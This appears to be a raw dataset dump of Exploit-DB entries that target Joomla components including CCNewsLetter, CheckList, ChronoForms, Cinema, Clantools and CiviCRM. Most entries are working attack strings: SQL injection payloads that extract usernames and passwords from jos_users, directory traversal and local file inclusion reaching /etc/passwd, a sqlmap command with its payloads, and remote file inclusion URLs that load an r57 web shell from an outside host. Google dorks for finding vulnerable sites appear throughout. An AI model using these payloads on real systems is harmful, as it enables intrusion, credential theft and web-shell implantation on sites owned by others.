deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11277
Description: Joomla! Component CCNewsLetter - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-28
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_ccnewsletter) Directory Traversal Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> (( -- Sorry for not including a single advisory with this Component --))

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var controller is vulnerable to Directory Traversal Vuln
[~]>> AFFECTED VERSIONS: Confirmed in 1.0.5 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Access to all PHP files in WebServer (Null Byte is filtered)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_ccnewsletter&view=ccnewsletter&Itemid=87&controller=[-DT-]

[~]>> [-DT-] -->  ;)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #11282
Description: Joomla! Component CCNewsLetter - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-28
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_ccnewsletter Local File Inclusion
==========================================================

###########################################
.:. Author         : AtT4CKxT3rR0r1ST

.:. Email          : F.Hack@w.cn

.:. Home           : www.sec-attack.com/vb

.:. Script         : Joomla Component com_ccnewsletter

.:. Bug Type       : Local File Inclusion [LFI]

.:. Dork           : inurl:"com_ccnewsletter"

.:. Date           : 28/1/2010

#############################################

===[ Exploit ]===

http://server/index.php?option=com_ccnewsletter&controller=[LFI]

http://server/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00


#############################################

Greats T0: My Mind & All member Sec Attack
Exploit-DB #37101
Description: Joomla! Component CCNewsLetter 1.0.7 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-23
Author: E1nzte1N

Exploit:
source: https://www.securityfocus.com/bid/53208/info

The CCNewsLetter module for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CCNewsLetter 1.0.7 is vulnerable; prior versions may also be affected. 

 http://www.example.com/modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
Exploit-DB #42387
Description: Joomla! Component CCNewsLetter 2.1.9 - 'sbid' SQL Injection
Type: webapps
Platform: php
Date: 2017-07-27
Author: Shahab Shamsi

Exploit:
"Joomla Component ccnewsletter 2.1.9 - 'sbid' Parameter SQL Injection"


# Exploit Title: Joomla Component ccnewsletter 2.1.9 - SQL Injection
# Date: 07-26-2017
# Exploit Author: Shahab Shamsi
# Vendor Homepage: https://extensions.joomla.org/extension/ccnewsletter/
# Version: = 2.1.9 [Final Version]
# Tested on: Win,Linux
# Google Dork: inurl:"index.php?option=com_ccnewsletter" inurl:sbid
# Video Refrence: http://securityman.org/joomla-component-ccnewsletter-2-1-9-sql-injection/
 
 

 
Sqlmap: 
 
sqlmap -u "http://Target/index.php?option=com_ccnewsletter&view=detail&id=73&sbid=[SQL]&tmpl=newsletter" -p sbid --dbs
 



Testing Method:
  - boolean-based blind
  - time-based blind
  - UNION query



Parameter: sbid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: option=com_ccnewsletter&view=detail&id=73&sbid=185 AND 3881=3881&tmpl=newsletter

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: option=com_ccnewsletter&view=detail&id=73&sbid=185 AND SLEEP(5)&tmpl=newsletter
    Type: AND/OR time-based blind

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: option=com_ccnewsletter&view=detail&id=73&sbid=-3094 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626a71,0x4357474c4d556472646b43704f44476e64694f6a6d6d[PII_REDACTED]656d[PII_REDACTED]466e63677974,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- CCQB&tmpl=newsletter
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
Exploit-DB #44132
Description: Joomla! Component ccNewsletter 2.x.x 'id' - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://www.chillcreations.com/
# Software Link: https://extensions.joomla.org/extension/ccnewsletter/
# Version: 2.x Stable
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5989
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_ccnewsletter&task=removeSubscriber&id=[SQL]
#  
# Y2ZjZDIwODQ5NWQ1NjVlZjY2ZTdkZmY5Zjk4NzY0ZGEnJTIwT1IlMjAoU0VMRUNUJTIwMiUyMEZST00oU0VMRUNUJTIwQ09VTlQoKiksQ09OQ0FUKHZlcnNpb24oKSwoU0VMRUNUJTIwKEVMVCgxPTEsMSkpKSxkYXRhYmFzZSgpLEZMT09SKFJBTkQoMCkqMikpeCUyMEZST00lMjBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyUyMEdST1VQJTIwQlklMjB4KWEpLS0lMjBhTXBM
# 
# # # #
Exploit-DB #42607
Description: Joomla! Component CheckList 1.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-03
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component CheckList 1.1.0 - SQL Injection
# Dork: N/A
# Date: 03.09.2017
# Vendor Homepage: http://joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/personal-life/checklist/
# Demo: http://checklistdemo.joomplace.com/
# Version: 1.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/[PROFILE][SQL].html
# http://localhost/[PATH]/[TAG][SQL].html
# http://localhost/[PATH]/[CHECKLIST][SQL].html
#
# our-products/checklist/checklist/tag/social'and+(SeLeCT+1+FrOM+(SeLeCT+count(*),COncaT((SeLeCT(SeLeCT+COncaT(cast(database()+as+char),0x7e))+FrOM+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+FrOM+information_schema.tables+group+by+x)a)+AND+''='.html
#
# Etc..
# # # # #
Exploit-DB #44163
Description: Joomla! Component CheckList 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-22
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component CheckList 1.1.1 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/personal-life/checklist/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7318
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_checklist&view=frontend
# &title_search=[SQL]
# &tag_search=[SQL]
# &name_search=[SQL]
# &description_search=[SQL]
# &filter_order=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
# 
# # # #
Exploit-DB #12842
Description: Joomla! Component ChronoConnectivity - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-02
Author: _mlk_

Exploit:
# Exploit Title: Joomla Component ChronoConnectivity
# Date: 01, June 2010
# Author:  _mlk_ (Renan)
# Software Link: http://bugsec.googlecode.com/files/joomla_chronoconnectivity.zip
# Version: 0
# Tested on: all OS
# CVE : 0
# Code : here

Joomla Component ChronoConnectivity (com_chronoconnectivity) - Blind SQL Injection Vulnerability

###################################################################################################################################


   [!] Discovered by : _mlk_ (Renan)

   [!] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [!] Homepages :  http://code.google.com/p/bugsec/  <>  http://botecounix.com.br/blog/  <>  http://c0d3rs.wordpress.com/

   [!] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

###################################################################################################################################


      [-] Information

   [?] Script : ChronoConnectivity for Joomla 1.5

   [?] Vendor :  http://www.chronoengine.com/

   [?] Dork/String :  "index.php?option=com_chronoconnectivity" / "com_chronoconnectivity"

   [?] Download : http://www.chronoengine.com/downloads/7-chronoconnectivity.html

   [?] Date :  01, June 2010


###################################################################################################################################


      [*] Example :

         http://localhost/index.php?option=com_chronoconnectivity&itemid=1 [Blind-SQL]
         http://localhost/[PATH]/index.php?option=com_chronoconnectivity&itemid=1 [Blind-SQL]


###################################################################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .


###################################################################################################################################
Exploit-DB #12843
Description: Joomla! Component ChronoForms - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-02
Author: _mlk_

Exploit:
# Exploit Title: Joomla Component ChronoForms (com_chronocontact)
# Date: 01, June 2010
# Author:  _mlk_ (Renan)
# Software Link:0
# Version: 0
# Tested on: all OS
# CVE : 0
# Code : here

Joomla Component ChronoForms (com_chronocontact) - Blind SQL Injection Vulnerability

###################################################################################################################################


   [!] Discovered by : _mlk_ (Renan)

   [!] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [!] Homepages :  http://code.google.com/p/bugsec/  <>  http://botecounix.com.br/blog/  <>  http://c0d3rs.wordpress.com/

   [!] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

###################################################################################################################################


      [-] Information

   [?] Script : ChronoForms for Joomla 1.5

   [?] Vendor :  http://www.chronoengine.com/

   [?] Dork/String :  "index.php?option=com_chronocontact" / "com_chronocontact"

   [?] Download : http://www.chronoengine.com/downloads/9-chronoforms.html

   [?] Date :  01, June 2010


###################################################################################################################################


      [*] Example :

         http://localhost/index.php?option=com_chronocontact&itemid=1 [Blind-SQL]
         http://localhost/[PATH]/index.php?option=com_chronocontact&itemid=1 [Blind-SQL]


###################################################################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .


###################################################################################################################################
Exploit-DB #5020
Description: Joomla! Component ChronoForms 2.3.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-30
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       CHRONOFORMS version V2.3.5
*    [~] Down.........:       http://www.joomlaos.de/option,com_remository/Itemid,41/func,startdown/id,2810.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       inurl:/com_chronocontact
*    [~] ForFix.........:     For Fix Your Script Download http://www.chronoengine.com/component/option,com_docman/task,cat_view/gid,27/ 2.3.7 Version
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*    
*
*       [~] Exploit Rfi...:http://[Taget]/[Path]//administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*
*           /administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*                            
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Kac Kere Ã¶lDunuz ki " Olum Den Korkmuyorum Ben " Diyebiliyorsunuz . . .
                     



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, SiberSavascilar.com , (Cyber-Crime) , BiyoFrm.Com
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-30]
Exploit-DB #13792
Description: Joomla! Component cinema - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sudden_death

Exploit:
=========================================================

# Exploit Title: joomla component cinema SQL injection Vulnerability
# Date: 09 juny 2010
# Author: Sudden_death (suddendeath404@yahoo.com)
# Software Link: N/A
# Tested on: Windows XP 2
# Platform / Tested on: Windows XP 2 SP 2
# category: webapps/0day
# myweb : http://sudden.isgreat.org/
# dork : inurl:option=com_cinema

======================================================================

# EXPLOIT / c0de

-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users--

# VULN IN HERE

http://www.site.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=[exploit]

# LIVE DEMO

http://www.site.com/index.php?option=com_cinema&Itemid=S@BUN&func=deta%20il&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,%2019,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users--


[#]-------------------------------------------------------------------

GREETZ TO WE FORUM:
-=-[ indonesianhacker.or.id | tecon-crew.org | devilzc0de.org ]-=-

[#]-------------------------------------------------------------------

MY BROTHA :
| bumble_be | Mr.SoOofe | BobyPutrA | Syst3m_RtO | MISTERFRIBO | CS-31 | d43ngCyb3r | zee eichel | ne0 d4rk fl00d3r | Ichito-Bandito |
| james0baster | kaMtiEz | Man In Black | otong | r3m1ck's | shadowsmaker | SyNTaX ErRoR | iJoo | FLYFF666 | LOL1ds | Md_holic | cah_surip |
| angga | demnas | ELV1N4 | hateback | virgi | scr34mz | Kimmonosz | pL4nkt0n | RxN7 | z0mb13 | 45tr0_k1ll1n9 | huda_style | zalezero | CireSoft49 | 
| r4tu_le64h | huda_style | ranggamagic | maximize13 | and you |
[#]-------------------------------------------------------------------
Exploit-DB #5300
Description: Joomla! Component Cinema 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-03-23
Author: S@BUN

Exploit:
##########################################
#
# Joomla Component com_cinema SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "com_cinema"
#
###########################################
EXPLOiT 1 :

index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOiT 2 :

index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:

  <name>Cinema</name>
  <creationDate>25.03.2006</creationDate>
  <author>Vamba & Luscarpa</author>
  <copyright>Copyright 2006 by Vamba & Luscarpa.</copyright>
  <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>  
  <authorEmail>webmaster@joomlaitalia.com - webmaster@webagain.net</authorEmail>

  <authorUrl>www.joomlaitalia.com - www.webagain.net</authorUrl>
  <version>1.0</version>
  <description>Componente Cinema per organizzare la tua videoteca. Componente realizzato sulla base di Akogallery</description>

# milw0rm.com [2008-03-23]
Exploit-DB #10550
Description: Joomla! Component City Portal - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >
#########################################################################
#        Joomla Component City Portal Blind SQL Injection Vulnerability #                                     
#########################################################################
# author        : Fl0riX 

# Script Name    : Joomla Component City Portal

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     : 
(-)
&#65533; http://server/index.php?option=com_content&task=view&id=36&Itemid=1 and 1=0
(+)
&#65533; http://server/index.php?option=com_content&task=view&id=36&Itemid=1 and 1=1

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_content&task=view&id=36&Itemid=[Blind SQL]

< -- bug code end of -- >
Exploit-DB #37648
Description: Joomla! Component CiviCRM - Multiple Arbitrary File Upload Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-22
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55166/info

The CiviCRM component for Joomla! is prone to multiple arbitrary file-upload vulnerabilities that allows attackers to upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

http://www.example.com/lynda/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/uploadtest.html

http://www.example.com/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html

http://www.example.com/mada/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html
Exploit-DB #14902
Description: Joomla! Component Clantools 1.2.3 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-09-05
Author: Solidmedia

Exploit:
# Exploit Title: Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html
# Version: 1.2.3


[ Vulnerability 1 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]

[ Vulnerability 2 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999

#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch
Exploit-DB #14901
Description: Joomla! Component Clantools 1.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-09-05
Author: Solidmedia

Exploit:
# Exploit Title: Joomla Component Clantools version 1.5 Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://joomla-clantools.de/downloads/doc_download/26-clantools-v15-fuer-joomla-15x.html
# Version: 1.5


[ Vulnerability 1 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]


#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch
Exploit-DB #35135
Description: Joomla! Component Classified - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-22
Author: R4dc0re

Exploit:
source: https://www.securityfocus.com/bid/45545/info

The Classified component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/classified-demo/index.php?option=com_classified&view=ads&name=[SQLi]